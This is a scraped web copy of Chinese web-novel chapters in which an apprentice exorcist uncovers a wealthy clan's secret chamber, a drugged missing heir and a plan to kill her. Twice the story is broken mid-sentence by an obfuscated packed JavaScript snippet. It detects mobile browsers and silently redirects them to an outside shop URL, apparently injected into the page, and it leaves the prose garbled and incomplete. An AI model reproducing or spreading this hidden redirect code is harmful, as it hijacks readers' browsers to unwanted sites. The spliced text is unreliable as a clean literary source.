吴氏祠堂,占地两千多平方米,建于一百多年前,之后扩建过一次,但整体保留了百年前的建筑风格,是建丰当地的有名景点。 占地两千多平方米,这么大。 孟老头怎么接得到这么大的单子。 拾冬偷偷瞥了瞥闭眼养神的孟永。 高铁五个半小时,到站已是凌晨,这里似乎比桐岭要冷一些,孟永说会有人来接,刚出站,就有人打来电话,按照对方给出的定位到了地下车库,远远看到有个男人朝他们招手,刚一走近,男人恭敬伸出手,喊了孟永一声师伯。 孟永端着架子点头,对着身后两人说:“这是庄栋,我师弟的徒弟。” 初次见面的几人简短打了个招呼后,四人上车。 一小时后,四人到达了吴村。 * 从开元车站到吴村,开了将近一个小时的车。课本上描绘的小山村,一到晚上万籁俱静,只有大黄狗的汪汪声回荡在夜里的场景,在吴村完全不存在。 半夜一点半,还有村民一人一头,担着压弯的扁担在前头走着。 “他们都是在准备端午祭祀的供品,这次祭祀有上千人。” 庄栋把车停好,四人下车。 道路干净,灯火通明,随处可见的三层小院,基本每家每户都是相似户型,往前走,还能看到开着的超市,水果摊,夜宵店,不远处还亮着“吴村医疗站”的牌子。 设施齐全,这已经不能叫村,可以算是一个乡镇了。 “吴村早先年就被评为示范村,加上吴氏集团是建丰市的龙头企业,他们的发源地自然不会差。”庄栋像是来过很多次,对这周边十分熟悉,“我们先去住的地方,明天有空的话带大家到处转转,这个村,环境人文保护得不错,还有不少人专门来这旅游。” 庄栋在一旁侃侃而谈,拾冬打了个哈欠,坐了那么久的车,她有些累了。 走了大概十多分钟,远远看到了吴家祠堂的轮廓,祠堂的灯照亮了大半片天空,占地两千多平的祠堂,还是第一次见。 庄栋指着越走越近的祠堂说:“那个祠堂占地两千八百多平,采取了北方官式的建筑风格,这种建筑风格讲究对称,五进院落,但当时建的时候为了避免冲突皇家,做了一些设计上的更改,等会我们进到里面...” “你是这的导游吗?”郁之幽幽打断,“我们累了,需要休息。” 对方面色尴尬,看到几人疲惫的脸,“好,那先去休息吧。” 落脚的地方是和刚刚在路边看到的相似三层小院,屋主搬到市里去了,这房就一直空着。考虑到拾冬是女孩子,特地单独给了她一间房,孟永和郁之睡一间。 拾冬简单洗漱完很快就睡着了。 她做了个梦。 梦到走到了一处古代宅子,阳光明媚,宅子布置得错落有致,花园里花团锦簇,可走着走着,天越来越暗,花也一朵接一朵枯萎。 这时,昏暗花丛里,出现一个人,他朝自己机械上下摆手,流着血的嘴不断呢喃出两个字: “救我。” 拾冬想往回走,一转身,不远处又站着一个人,他说着和刚刚那人相同的话:“救我..” “救我。” 左边也有。 “救我。” 右边也是。 人越来越多,他们围成一个圆,不断朝圆心中的自己靠近,这时,手背传来冰冷触感,拾冬一低头,一张面目全非的鬼脸冲自己猛扑过来,尖叫着喊: “救我!” 拾冬从噩梦中惊醒。 34. 第 34 章 第二天,庄栋带他们去了祠堂。白天的吴村看上去比昨晚更热闹,不断有村民说着听不懂的方言从身边走过。 “师姐,昨晚没睡好吗?”郁之见拾冬一路走来都没讲话,主动询问起来。 拾冬摇头不语。 不一会儿,他们到达了祠堂。 高门大户,门口左右各坐着一只石狮,一抬头,鎏金匾额上写着“吴氏宗祠”。 穿过首进的青砖照壁,来到了前厅,前厅中间是天井,天井两旁敞开的厢房里,放置着不少端午要用到的供品,祭器。 他们正要往下走,有几个人从三进的祭拜区方向走了出来。 “师兄,好久不见。”一声响亮的招呼声传来,从前方走来一个敦实,头顶光亮的人,让拾冬联想起路边打磨光亮的石墩子。 “师弟,你又胖了。”孟永瞅了瞅师弟的头,“头也秃了。” 师弟俨然习惯了孟永的毒舌,指了指身后缓缓走来的人悄声说:“走,给你介绍我们这次的财神爷。” 为首的是吴氏集团董事长,看上去有七八十,头发花白拄着拐,穿着精细褂子,站在几人中间,不怒自威,对孟永他们的介绍很淡“嗯”了一声。 秃顶师弟介绍完吴董事长,指了指另一旁的人,“这是路总,路总是桐岭市有名的大老板...” “你好。”路总主动伸出了手,没有中年男人的油腻标配,整个人儒雅得体。 几人一一握手,到拾冬时,她没有伸手,气氛尴尬了三四秒,正当孟永要训斥她没礼貌时,从旁伸出一只手握了上去, “路叔,好久不见。” 路民收回看向拾冬的视线,先是一愣,反应过来后笑道:“郁之,是你啊,好久不见,你怎么在这。” “无聊出来玩。”郁之上前,半边身子挡住拾冬。 “二爷爷...”一声充满少年感的男声打断几人间微妙的气氛,只见那人风风火火从门口走来,人还没到跟前,声音就先到了,“我哥呢,我哥到底去哪了,都端午了,他怎么还没回来。” “吵吵闹闹,成何体统,没看到有客人在。”吴天华杵了杵拐杖,嫌恶之情溢于言表。 话音刚落,又是一连串脚步声,紧接着来了一男一女。 “小七,你别胡闹,等会回去说。”说话的男人看上去很怕闯祸的样子,扯过一旁的人,毕恭毕敬叫了吴天华一声爷爷,另一旁穿旗袍的女生,也跟着喊了一声爷爷。 “昭则你是哥哥,现在连弟弟妹妹都管教不好,以后怎么管理员工?”话虽然严厉,但神情明显较之前慈祥了一些。 “是,爷爷。”吴昭则面对吴天华全程没有抬头,颈椎一直半弯着。 “嗯,正好我要带客人去看工厂新设计的那批样衣,你也跟着一起。” 看似商量,实则命令,吴昭则点头应允。 “郁之,我还有事,先走了,回去有时间请你和你姐吃饭。” “好,我要吃最贵的。” “你小子...” 路民跟着吴天华离开,往前走了两步后,又回头,正巧这时,被郁之挡住的人抬头,两人的视线不偏不倚对上。 他们对视了几秒,路民淡笑着率先移开视线,跟着吴天华离开。 有压迫感的爷爷一走,穿旗袍的女生转向曾在同一社团见过面的学长郁之,问他怎么在这。 “旅游。”郁之回答得言简意赅。 吴昭宁注意到郁之身后的拾冬,早在学校的时候就时不时听班里同学说过A栋宿管的事,在学校凑热闹的时候也去看过两三次,没想到,会在这里遇到。 “走了,姐,问二爷还不如去问你奶奶。” 吴昭戈无意认识面前这几个人,拉过堂姐就要走时,吴昭宁像想起什么,有些犹豫看向一直没说话的拾冬,“请问,你是不是认识吴昭州?” 好像是在跟自己说话。 拾冬回过神,看向吴昭宁,女孩皮肤白皙、丹凤眼,画了淡淡眼妆,一眼看上去属于氛围感美女。 她身上穿着的旗袍有些眼熟,想起是前不久去剪头发遇到女鬼那晚,在店外橱窗看到的那件。 穿在她身上还挺好看。 “算是认识。”拾冬反应过来,她口中的吴昭州是姜州。 “你认识我哥?”本要走的吴昭戈一听走过来,“你们怎么认识的?” 拾冬面对咋咋呼呼的吴昭戈往后退了两步。 “小七,我来。” 吴昭宁阻止要上前的吴昭戈,又顾忌在场其他人,把拾冬拉至一旁。之前去看A栋看热闹的时候,碰巧看到自家哥哥和她在一起,哥哥不是爱凑热闹的人,于是在手机上问为什么去找A栋宿管,他回答,对方是一个很重要的朋友。 “不好意思,我弟弟比较闹。是这样的,我想问我哥,就是吴昭州,你知道他现在在哪吗?”吴昭宁像是抓到什么不得了的线索一般,眼里闪着期盼。 “我怎么知道。”拾冬和姜州虽然交换了联系方式,但从没聊过天。 “你们没联系过吗?” “没有。” 话进行不下去,吴昭宁说了句打扰了,两拨人在前厅分开。 吴昭宁走出祠堂大门,深深吸了口气。 大概一周多前,吴昭宁下完课,想起哥哥快要出国留学了,趁现在两人还在一个学校,于是抓紧时间约哥哥吃个晚饭。 吴昭州是大伯的儿子,比自己大五六岁,从小到大,她,还有比自己小四岁的昭戈都很粘他,一想到哥哥要出国留学,心里还郁闷了很久。 “哥,你在学校吗?我们去北食堂吃麻辣香锅啊。” 消息发出去后,吴昭宁先去图书馆把书还了,顺便又借了两本,等这一系列的事做完,对方依旧没回复。 可能在忙吧。 吴昭宁不住校,父母给她在校外买了房子,她没人陪着一起吃饭,干脆回去点外卖。 而发出去的消息,一晚上都没被回复。 事情在那天开始不对劲。 起先是给吴昭州发信息,不管发什么,对方都不回复,于是去研究生院找他,同学说他不在学校。 “师兄上周答辩完,就不在学校了,我问他,他说他出国了。”同门的师弟这么说。 出国? 为什么自己不知道。 与此同时,吴昭戈也打电话过来,问吴昭州最近很忙吗?约他打球都不回复。 “哥的同门师弟说,他出国了。” “出国?!怎么可能,我们之前还约好七月去攀岩。” 吴昭宁给吴昭则打电话,他们是亲兄弟,他肯定知道。 结果对方一无所知。 “你等会,我问问我爸。” 电话没五分钟回过来了,吴昭则在那头说:“我爸说,我哥怕适应不了国外生活,提前先去了。” “你觉得呢?”吴昭宁反问。 吴昭则在那边顿了顿,“...应该是这样吧。” 吴昭宁默默挂了电话。 即使有这话,吴昭宁还是觉得不对劲。 为什么连自己亲弟弟都瞒着,悄无声息出国了。就算出国,国外又不是没有网络,为什么连信息都不回。 就在这时,吴昭宁接到了吴昭州的信息。 “宁宁,我已经在国外了,这阵子忙没时间,等我闲下来再跟你细聊,勿念。” 吴昭宁看着对话框的信息,不知不觉鸡皮疙瘩爬了满背。 这条信息,出现得太及时了,及时得诡异。 后来,连神经大条的吴昭戈也发现不对劲了。 他们分别问了各自爸妈,家里长辈,得到的回答都是出国。 “要不我们出国去他学校看看,我哥不会被骗进传销组织了吧。” “等端午祭祖吧,这么重要的时候,哥怎么也会回来。” 于是等到了端午放假,可是,他依旧没有音信。 吴昭宁姐弟俩走出祠堂,吴昭戈踢了踢旁边的碎石,“姐,怎么办啊,要不我们还是下周出国找找吧。” 吴昭宁垂下眼眸,“等昭则回来再说吧。” * 孟永师弟,贾苍,用孟永的话说,道术不会几个,但赚钱本领很高,他早早退出师门,发展殡葬行业,几经辗转,在建丰扎根,现在已经是建丰当地有名的殡葬龙头老大。当地有什么祭祖法事,都找他。 这次祭祖仪式,其中一主法法师突发疾病,吴家大门大户,贾苍不敢找旁人糊弄,于是想到了自己师兄。 吴天华一走,孟永面色便沉了下来,冲心不在焉的拾冬责令起来:“出门在外,教你的规矩是一点没学,还不如你师弟懂事。” 拾冬面色带冷,懒得搭理。 不料孟永像是为了在旁人面前立威,无视贾苍和稀泥打圆场,不依不饶起来,“你没规矩坏的可是我的名声,你自己想想,因为你我被人骂了多少次,年纪轻轻,蛮横无理,你还是个女娃,以后嫁了人,谁受得了你..” 拾冬一言不发,转身往外走。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贾苍眨了眨眼,望着跪在地上的师兄,“爱卿平身,倒也不必行此大礼。” “滚蛋。” * 临近八点,吴昭则扶着爷爷进家门,爸妈忙着公司的事,得明天祭祖才抽的开身。他推开沉重的大门,打开客厅的灯。 偌大的房子只有爷孙俩发出的声响。 “爷爷...”吴昭则这一下午都被吴昭戈短信轰炸,对方不断让他问哥哥的下落,这会儿看吴天华神情放松地坐在沙发休息,他先是给爷爷倒了杯水,迟疑一会儿才试探出声,“爷爷,明天端午祭祖我哥应该会来吧。” 吴天华闻言睁开眼,浑浊的眼珠转向自己孙子,看他战战兢兢的模样,心里涌起怒意来,“你有空问这个,还不如去学怎么看财务报表,去设计几件好看的衣服,天天就是问这问那,没出息。” 吴昭则被这声怒斥吓得脊背一挺,头埋得更低,怯怯回了个好。 “我回房休息了。”吴天华拄着拐杖起身,大手推开吴昭则,“不用你。” 吴昭则站在沙发旁看吴天华进了房间后才敢坐下,他疲惫仰面躺了会儿,上楼回房。 “昭则,你问了没有,我哥到底去哪了,他明天要是还不回来,我打算后天出国找他了。” 吴昭则刚回到房间,吴昭戈的信息又来了。 受了一天气的吴昭则看都不看,烦躁把手机扔在桌上,坐在椅子上眼神放空了一会儿,这时手机又响了一下,他不耐烦挺起腰去够手机, “哥的手机位置在祠堂!” 吴昭则盯着屏幕看了一会儿,移开视线看到电脑屏幕上画得跟坨屎一样的设计图,毫不犹豫点了×。 * “笃...笃...笃...”拐杖杵在地上发出沉闷,有规律的声响。 那个人要来了。 没多久,躺在地上的人被扶起来,随即一碗不明的液体灌进喉咙,他呜咽着想拒绝,却被捏住下巴灌了进去。 “来,告诉我,你是谁?” 喝下去的东西令人头晕,他躺在地上,眼神麻木地说:“我是吴昭州。” “对咯,你是吴昭州。”苍老干瘪的大手满意拍了拍他的头,随即笃笃声消失在昏暗房间。 蜷缩在地上的人费力翻了个身,房间里只开着一盏白炽灯,在他模糊的视线里明明灭灭。 我是谁啊。 我是谁呢。 35. 第 35 章 晚饭是在祠堂的拜殿吃的,除了贾苍这些做法事的,还有吴村的人,桌上都是自己人,建丰百事通贾苍喝了酒,指着其他桌的人,介绍了遍。 吴家是个大家族,直系血亲十个兄弟姊妹,老大死得早,现在管事是老二吴天华,手下活着的还有老三,老五,老七和一个妹妹。 “吴天华现在年纪大了,手下的事,基本交给自己儿子。其他弟弟妹妹的孩子虽然待遇也不错,终归实权啊,还是在他自己手里。吴天华就一个儿子,儿子上头都是姐姐。”贾苍喝了口酒接着说, “我们今天看到的那几个小孩,戴眼镜的就是吴天华的孙子吴昭则,他上面还有个哥哥,听说哥哥很厉害,脑瓜子聪明得很,老二就不行了。老二底下还有个弟弟,今年上初中,听说也是个混子。咋咋呼呼的那个,老七的孙子吴昭戈,刚上大一,之前为了庆祝他十八岁生日,流水席摆了几十桌,女娃是第八个妹妹的孙女,她也姓吴,吴家大门大户,女人全都招赘,自然跟着吴家姓。” 孟永对招赘一事嗤之以鼻。 “你看,那一桌吃饭的,从左到右,老三,老五,老七,现在倒酒的那个是老八给女儿招的婿,就是今天那个女娃的爸。偷偷跟你们说啊,老三是个光棍,一辈子没娶,现在在村里种了几亩地,偶尔给人开开收割机,挖掘机赚点外快,日子过得很清贫。我就纳了闷了,吴家这么显赫的家世,怎么会找不到姑娘,早些年都说老三啊,他喜欢男人!” 贾苍说得煞有其事,老古董孟永嫌弃地白了他一眼。 “不过吴家你别看表面和睦,豪门恩怨,水深得很,更何况吴家还有不少旁支,都想来分集团的一杯羹,你争我夺,不知有多少猫腻事。” “吴昭州是谁的孩子?”拾冬插了句嘴。 “吴昭州就是老二脑瓜子聪明的大孙子,怎么,你认识啊?”贾苍吃了口下酒菜,突然想到什么,压低声音,神神叨叨地说,“我早些年听吴家旁支说过这么一个秘闻,说吴家大儿子,是用来祭祀的!” 拾冬抬头看向喝得红光满面的贾苍。 “我当时就笑了,这什么年头了,还有这种封建迷信,我才不信..”刚说完一会儿,贾苍脸上浮上疑惑,“不过,今天听吴天华的意思,好像以后家业要给老二,那老大呢,老大那么聪明,不应该啊。” 拾冬听完,放下筷子,找到姜州的微信, “你在哪?” 等了两分钟,没有回复,她直接打视频通话,没人接。 她联想起今天吴昭宁对自己说的话,不好的预感涌了上来。 姓吴,百年绣纺,祭祀, 拾冬很难不联想到祝婉儿幻境里的吴家。 真的有这么巧的事吗? 拾冬刚想问郁之有没有吴昭宁的联系方式,一转头就看到了她和吴昭戈走了进来。 “师姐,你去哪?” “上厕所。” * 吴昭宁晚上回家,在接连给吴昭州打了几个电话,那边都提示已关机,她先是给吴昭则父母打电话,问吴昭州的情况,得到的回复依旧是他出国了,问到明天回不回时,大伯含糊其辞说应该会。 吴昭宁没有多追问,心里的答案越来越清晰。 她哥一定出事了,而且大伯知道。 要不要报警? 吴昭宁按下110,却没有勇气拨出去。 她不敢报警,现在都是推测,明天端午大祭,她这个时候报警,惊动家里人,到时那么多长辈问她,她该如何回答,她不敢。 那现在怎么办? 这时,吴昭戈发来一张图片和一条信息。 “哥的手机位置在祠堂!” 晚上吴昭戈想到即使去国外找,也不知道哥到底在哪儿。于是想起他们手机位置之前好像开过家人共享,试探性查找了一下,发现他的手机位置竟然显示在祠堂,于是迫不及待给吴昭则和吴昭宁发信息,三人立马决定去祠堂找。 吴昭宁一进到拜殿,就被自己爸叫住了,无奈只好过去跟家里长辈打招呼。 “三爷爷,五爷爷,七爷爷好。” “宁宁啊,爸爸说过很多次,不要跑,不要跳,你这一身旗袍,步子快了摔了这不让人看笑话,女孩子,要端庄。”蔡弘伟说完,像是想被得到认可似的,转头朝向主位上坐着的三人,“大伯们,你们说对吧。” 主位上的三人不接蔡弘伟的话,老三吴天义朝吴昭宁慈祥笑了笑,“宁宁,你奶奶小时候也皮得很,爬树比我还利索。” “是啊..”老五吴天武接话,“她小时候不知道挨了多少打,一被打就躲我后头,害得我也被跟着打。” “要说皮,我这孙子你们谁比得了。”老七吴天其放下筷子,指了指自己孙子吴昭戈。 “说我干嘛?”吴昭戈不满自己被当反面教材使。 “是,大伯们说的是。” 蔡弘伟压下心里的不悦,喝了口酒。 “你们这匆匆忙忙去哪?”吴天武看两人一副着急走的样子,随口问道。 “我们去...” “我们去拍照,我班里同学知道我们家祠堂大,说没见过,要我拍几张照片给他们看看。”吴昭宁打断口无遮拦的吴昭戈。 吴天武看了看两人,说:“那去吧,后殿不可以拍,不对外开放。” 两人点头。 “不喝了…”吴天义看着两个小辈离开,见蔡弘伟想添酒,一把捂住杯口,“我先回去了。” “我同你一道走。”吴天其跟着吴天义站起来,哥俩刚走出两三步,吴天武的声音从后传来, “三哥,明天大典别忘了。” 吴天义一言不发往外走。 “三哥…”吴天其刚开口,就被吴天义打断。 “明天我不会来的。” “可是…” 两人这会儿已经走到宗祠门口,吴天义抬头,看了头顶的吴氏宗祠良久,什么都没说,一步一步走下台阶。 * “昭则怎么还没来?”吴昭戈和吴昭宁在拜殿对着手机上的箭头转了许久,都靠近不了,于是吴昭戈带着吴昭宁来到了四进的寝堂。 寝堂分为前廊后室,后室供奉着吴家历代祖先,仅对吴家直系亲属开放,因此所有游客一律止步于前廊。 “不行,我不可以进去。”吴昭宁拉住要往后室走的吴昭戈。 后室虽然对吴家人开放,但女性不能入内,吴昭宁从小到大都被教育,祠堂后院,她不可以进。 “啊?为什么?”吴昭戈不明所以地反问。每年清明,中元,冬至以及大年初一,不管他在哪,都必须回家祭祖。 “反正就是不行,你去吧,我在这等你。”吴昭宁站在门口对吴昭戈说。 “你不去,我一个人不敢啊。”后室供奉着那么多牌位,吴昭戈一个人进去有点打怵。 “你们是去找吴昭州吗?” 两人正犹豫时,身后冷不丁传来一道声音,吴昭戈吓得“卧槽”了一句,惊魂未定往后一看,是白天说认识他哥的那个女人。 “你怎么走路没声啊。”吴昭戈不满地抱怨道。 “你们是去找吴昭州吗?”拾冬无视吴昭戈,又问了一遍。 “不是!随便看看,关你什么事,这是我们吴家禁地,外人不让进,你赶紧出去。”吴昭戈从心里不喜欢这个看上去没礼貌的女人,冲拾冬下逐客令。 “小七,你别这么冲。”吴昭宁了解自己堂弟的少爷脾气,小时候因为和别人打架,不知挨了多少骂。她扭头看向拾冬,“你是要找我哥吗?” 拾冬点头 “我哥在国外还没回来。”吴昭宁有较强的家族观念,吴昭州若真出什么事,那也是吴家人内部的事,不至于对一个外人说。 “那他明天会回来吗?”拾冬问。 吴昭宁硬着头皮点头。 “他不会。”拾冬笃定地说。 “你…” “宁宁…”蔡弘伟醉醺醺从前廊走来,打断吴昭宁的话,他倚着红木廊柱冲自己女儿说,“宁宁,时间不早了,跟爸爸回家,走,后室这里你不能进。” 说完又自嘲一笑,“别说你了,连我都不行,我姓蔡,不姓吴!” 吴昭宁面皮薄,爸爸喝多了酒就喜欢胡言乱语,交代了吴昭戈两句,赶紧扶着爸爸离开。 “你是不是知道我哥在哪?” 这会儿就剩两个人,吴昭戈原封不动把吴昭宁刚刚交代给自己的话转达出来,同时也在心里鄙夷,自己都不知道,她能知道。 听姐说她只是哥学校的一个宿管,这能知道什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739369|187222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我不知道。” 拾冬如实回答,刚一说完,对面小孩一脸我就知道的神情,低头看了看手机,“那你赶紧走。” 拾冬懒得跟小孩计较,抬步走向后室大门,吴昭戈见状紧忙跟了过去, “喂,你听不懂人话是不是,你是女的,我不跟你计较,赶紧走,你不能进这里。”眼看着两人到了大门口,吴昭戈上前拽住拾冬,阻止她继续向前。 “你有钥匙没有?”拾冬挣开吴昭戈放在肩上的手,指了指落锁的大门。 “我哪来的钥匙。”吴昭戈平时祭祖都是直接进,没意识到门原来会锁。 “里面是什么?” “祖先牌位。” 进到里面就能知道这户人到底是不是祝婉儿幻境里吴家的后代。 拾冬目测了一下围墙高度,两米多,得找个梯子才行。 “你去前面拿个梯子来,就在香案那。”下午时候村民用梯子挂灯笼,她正巧看到了。 吴昭戈很少被使唤,这一听,脾气更大了,“你谁啊你,你走不走,再不走别怪我动手了。” “你除了一张嘴嚷嚷还会干嘛,有这功夫问东问西,梯子都搬回来了,你想不想找吴昭州了。”拾冬当宿管这几个月,最知道拿捏这般年纪大的小孩。 果不其然,被凶得莫名其妙的吴昭戈愣了几秒,嘴里骂骂咧咧走了。 十五分钟后,他们进到了后室。 吴昭戈虽然对拾冬一个外人进入他们宗祠颇有意见,可眼下找到他哥更重要。 大不了以后祭祖多磕几个头。 吴昭戈不以为然地想。 一进到后殿,手机上的箭头就动了一下,吴昭戈跟着箭头一路走到了供堂,毫不犹豫推开了门。 “吱” 房内东西南北四角各燃着一盏长明灯,正中间的九层神主龛,自上而下一排排黑底描金的牌位,长长供桌上的香刚烧到三分之一。 有人刚来过。 拾冬无视吴昭戈拿着手机到处乱走,她从上往下一排排看过去,在看到第三排右中间位置时,她心跳了一下, 吳公諱瀚府君之神位 吴瀚。 她在祝婉儿幻境里听到最多的就是这个名字。 接着往下看,想看看有没有吴喜,可一直看到最后一排,都没看到吴喜的名字。 难道只是同名同姓吗? 拾冬直觉不是。 “不对啊,怎么会在这儿。”吴昭戈站在北角的长明灯旁喃喃自语。 此时,他站的位置是最靠近箭头的,可眼前除了一堵墙什么都没有。 吴昭戈也是看过不少武侠片,盗墓片的人,他怀疑,供堂里会不会有密室? 他先是转了转手旁的长明灯座,没反应,又接着转了剩下三个,依旧没有。 他又去查看供桌上的香案,蒲团甚至差点把供堂两侧楹联的卷轴拽断了,都没有像电视剧里,某侧墙突然打开的情景。 果然是电视剧看多了。 吴昭戈自嘲了一下,余光瞥到那个讨人厌的女人正在三层神龛那探头探脑。 “喂!你干嘛,那是我祖宗!”吴昭戈三步并两步冲过来钳住拾冬的肩膀,本意是想把她拉离神龛。但没控制好力道,没有防备的拾冬一个趔趄,只听“哗啦”一声,吴昭戈对着东倒西歪的牌位脑子只有一个想法, 他完了。 “完了完了,我真的会被爷爷打死的,完了,我完了…”吴昭戈手忙脚乱地扶起碰倒的牌位,脸都吓红了,嘴里念念有词,“祖宗们,是我不孝,我先把你们扶起来,等会再给你们磕头,你们别生气,别来找我,我真的错了,别来找我,我们都是一家人,你们别跟我一般计较,求求了…” 拾冬找了一圈都没看到吴喜的名字,想着会不会牌位太多看漏了,于是想近距离再看一遍。没想到被吴昭戈推了一把。 她站在一旁默默看着吴昭戈颤着手扶起祖宗,正想告诉他摆放位置错了时,只见神龛后,嵌在墙体的八卦罗盘突然转动起来,几秒后,罗盘缓缓分开,神龛后,竟有一道隐门。 “卧…槽!” 拾冬冲目瞪口呆的吴昭戈扬了扬下巴,“你去不去?” 傻子才不去。 中二少年吴昭戈表示燃起来了。 36. 第 36 章 一进入到密室,手机便显示无信号。 眼前是一条窄道,墙壁上每隔50米就挂着一盏灯,还算光亮。往前走了大概500米,底下出现一个楼梯,从上往下看时,轻盈的风扑在脸上。 吴昭戈吞了吞唾沫,扶住木质的扶手,一步步走了下去。 一到楼下就闻到一股不知名,类似油脂的香,映入眼帘的是一个宽敞客厅,客厅四角各放着一盏落地灯,灯罩远看像羊皮纸材质,北角有一扇关着的门。 客厅里,除了一张紫檀木长桌和椅子再无其他。 两人走过去,刚一靠近桌沿,底下围着长桌轮廓,自动亮起了一圈地灯。 地灯折射出来的光直达头顶,吴昭戈一抬头,竟看到无数双眼睛,正朝自己眨眼,他吓得后退了一步,手掌按进长桌上的砚台,顿时染上了红色墨汁。 而这时,他也注意到了,刚刚平平无奇的长桌,出现了一排排红色的符咒。 “这他妈是什么…”吴昭戈下来前想到的,底下最多是祠堂的地下室,可是… 长桌上空荡荡,只有一本展开的书,和一支毛笔。 拾冬拿起本子一看,不是中文,看不懂,但感觉很邪。 长桌正前方,一幅幅浮雕画像映入眼帘。 拾冬一眼扫过去,看到了左边的第二幅画像,画上有一对小孩,一个小孩躺在地上,一个小孩被几双骷髅手高高举起,他胸口插着匕首,可描绘出来的侧脸嘴角竟是在笑,他四周跪着不少人,而他们也在笑。 整幅画像,说不出来的诡异。 与此同时,不远处响起了上楼声。 这地下室竟然有两层。 除了北角那扇门,没有可躲的地方,他们轻声轻脚快步走过去,一拧,门开了,两人身影消失在门后。 一进到房间,刚刚在客厅闻到的油脂香更浓了,浓得熏眼睛,吴昭戈徒劳挥了挥手,刚想查看四周情况,一扭头就看到不远处床上躺着个人,两人小心翼翼走近一看,吴昭戈惊叫出声: “哥!” 拾冬连忙捂住吴昭戈的嘴。 “唔…唔…唔…”快要喘不过气的吴昭戈拼命眨眼示意自己不再出声,拾冬才不放心缓缓松手。 门就是在这时,被打开了。 门外,眼角带疤的男人波澜不惊望着门里三人,缓缓道:“看来,汤药备少了。” * 吴天华看完这一季的财务报表分析,比上个季度下降了0.8个点,他摘下挂脖眼镜,拄着拐杖从椅子上起身,这时,从书柜后响起三短一长的敲击声,他顿时警觉,走到书桌前,拉开第二层抽屉,转动里面的开关,书柜缓缓移开,里面的人轻声道:“有人闯入密室,如何处理?” “谁?” “吴天其的小孙子,和一个女人。” 吴天华皱眉,“我去看看。” “好,请。” 吴天华缓步走入密室。 房间里的油脂香是迷药,拾冬被绑在椅子上,费力睁开眼,入目的是不远处浮雕画像,画着一个怀孕的女人,来不及细看,便听到“笃...笃...笃...”的沉闷声。 “二爷爷,二爷爷救我!”吴昭戈绑在椅子上动弹不得,听到拄拐声,一扭头看到吴天华款款走来,迷离的眼都亮了,忙不迭地求救。 吴天华没有理会,他径直走向旁边的女人,用拐杖触地的那头挑起她的下巴,看了几秒,想起是上午见过,跟那个做法事的人是一伙的。 “你叫什么名字?”吴天华问。 拾冬不说话。 这时,一阵急促的下楼声传来,接到消息的吴天其匆匆忙忙下楼来,一眼就看到了被绑在椅子上的孙子。 吴昭戈看到爷爷,眼神更亮了,还没等开口求救,劈头盖脸被打了一耳光,他歪着头,半晌没反应过来。 “谁告诉你密室机关的,反了天了!”吴天其这一巴掌打得毫不手软,脚还在地上跺了几下。 “我...我整理牌位的时候,它..突然开了。”到底是个没受过委屈的孩子,这下眼泪不受控制流了出来,“爷爷,我不是故意的,我...” 话还没说完,又是一耳光,吴昭戈在嗡嗡的耳鸣中,听到吴天其气急败坏地冲他喊, “那这个女人是怎么回事?吴家祠堂,你竟然敢带陌生人进,还是个女人!你见过哪个女人进入过吴家祠堂!你有没有把我平时说的话放在心上,你这个废物!” 吴昭戈彻底说不出话了,眼泪鼻涕流了满脸。 他从来没被这么打过,跟别人打架,爷爷再生气,最多不痛不痒踹两脚,他第一次见识到,爷爷不为人知的一面。 “行了,老七,现在说这个有什么用。” 吴天华阻止吴天其要落下的第三个耳光,却见吴天其一耳光打在自己脸上,求起情来,“哥,这孩子绝不是故意的,他年纪小,不懂事,哥,你就放过他这次吧,我发誓,他出去后绝不会乱说一个字。” 吴天其紧张看着自己哥哥,他深知吴昭戈犯了不可饶恕的大错,可是,毕竟是自己看着长大的孩子,他怎么忍心什么都不管。 “小辈的事,我们等会再说,现在是这个女人。”吴天华用拐杖戳了戳拾冬的肩,“她该怎么处理?” “这个好解决,把她埋了。祠堂没监控,查不到我们头上。就算到时有人报警,警察也只会听我们的。”吴天其阴狠提议,吴家在当地影响极大,各路关系早已打通。 吴昭戈听到爷爷的提议,一股寒意直达天灵盖,如果自己不是吴家人,下场是不是也一样。 吴天华沉吟半晌“嗯”了一声。 只见吴天其袖子一挽就要动手,吴昭戈人都吓傻了,抖着声求情:“爷爷,她…她不是故意的…你放过她吧….” 吴天其剜了一眼搞不清楚状况的孙子,左右看了看,找到一块帕子,准备先捂死,这时,一直沉默的女人抽搐起来,几秒后,她利落转向吴天华: “吴天华,你大胆!” “我是吴窦氏岚凤!” 这一句让在场人猝不及防。 据吴家历代传下来的吴家志中记载,吴窦氏岚凤,手段了得,为吴家开展朝廷专供,出了不少力,并且也是寥寥几个能进吴家宗祠供奉的女人。 “你这个疯女人少在这吓唬人。你肯定是刚刚看到了牌位上的名字,在这装神弄鬼。”吴天其捏着帕子上前,却听见女人接着说: “两百多年,我们吴家和柯家是当地有名的绣纺。柯家绣纺有一名叫祝婉儿的绣娘,绣法了得,吴家的生意远不如柯家。正巧那时,民间流传一种叫魂的巫术,我便将计就计,报官说柯家长子柯晋元会叫魂,柯家的生意因此一落千丈。” 密室里静得落针可闻,吴天华两只手扶着拐杖,抑制自己的颤抖,只见面前的女人侧着头,锐利冰冷的眸子注视着自己,每个字都铿锵有力,“吴天华!我是你祖宗,你敢对如此对我!你大不敬!” 吴天华再也支撑不住,跪在地上。 眼前这人,说出了只有吴家人才知道的秘密。 “哥,别是有诈。”吴天其上前扶起吴天华,依旧面带怀疑。 只见女人轻蔑一笑,说出了不得不让他信服的话:“可怜我的小喜,他为吴家千秋万代,献了身。不然轮得到你们穿金戴银。” 